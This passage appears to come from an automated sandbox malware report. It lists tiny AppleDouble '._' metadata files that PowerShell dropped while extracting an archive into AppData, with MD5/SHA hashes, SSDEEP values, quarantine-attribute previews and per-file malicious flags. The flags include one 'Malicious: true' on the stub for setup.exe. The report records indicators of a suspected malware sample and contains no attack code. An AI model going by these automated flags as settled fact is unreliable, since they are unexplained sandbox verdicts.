Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\._carferry.flv

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\._libvlccore.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\._resource_

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.269247489646545
Encrypted:	false
SSDEEP:	6:PgGA/iwKwviBn/6/Es3CiDKwDkGmTBRzfA3mhhn:PgF/iwRvaYBaTBFfA3mhh
MD5:	A92A525F065F80FA3B64C142E724162E
SHA1:	4D0BEA97BE36025907A106CE83EB9CCBB60F1AC6
SHA-256:	951FAEFEE9AF7954AA563DC91A1AF3069CEA12C800FEFCDF7CB1D998CF71F117
SHA-512:	0A284A27B6B7079980E1BF59CE91F668386FD4039725088CE26E3894B9380E46553B49CC000B5CD26449D0F62FE5E4ABD2D072626231FC5C3164CAD398C0E8BA
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;47E2A02A-8F6A-428D-AF03-BC78E44CD16E.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\._setup.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	true
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\._CMap

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.272354424930109
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKwIKhIWx:PgGA/iwKwviBn/6/Es3CiDKwBZF
MD5:	C2375434108C329DA61F70C2FA65EF7B
SHA1:	47620D18B145E97F9E565FB94D0C6C46141F0F71
SHA-256:	ED09076F6EF96C551DC102DAD3D76EC3564AFECA6BE95CDE1FE10F53964DA573
SHA-512:	F19329088E1874492BD1C273FE3B9B4D47C916505B809C82E0C0AE20EC2ADADC442284E83ADE4C661168067DD3F553EC69F7F55A0019D489F573747F77C1FE69
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;C00ABAAC-F923-48A6-A24B-1BE9201D14D6.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\._Font

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.288745117695551
Encrypted:	false
SSDEEP:	6:PgGA/iwKwviBn/6/Es3CiDKwCyoteShnw:PgF/iwRvaYVotzw
MD5:	613BEE52E72F070352A143228F96013C
SHA1:	D7DE8CDC9B5FA62CDA7F223B3942D88FF7C23CFA
SHA-256:	FF6FEC64EC719505CD1397372053E7147022AED6CD05867DC3265EF2E8134863
SHA-512:	267D2542F1E910CED793AFCC5880E63534BA251526A6181DA5314C0AF227C6AB446B401385B4E46A63F274038B93FE186A459DC5083DD37E03711C91526FB070
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;FE45B713-5EAD-42E5-A822-FE7DC52678AE.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\._Register.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\._carferry.flv

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\._glioma.asp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\._libvlccore.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\._resources.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\._rtl120.bpl

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\CMap\._Identity-H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\CMap\._Identity-V

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\CMap\._UCS2-GBK-EUC

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\CMap\._UniKS-UTF16-H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\CMap\._UniKS-UTF16-V

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._AdobePIStd.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._CourierStd-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._CourierStd-BoldOblique.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._CourierStd-Oblique.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._CourierStd.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._MinionPro-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._MinionPro-BoldIt.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._MinionPro-It.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._MinionPro-Regular.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._MyriadPro-Bold.otf

Download File

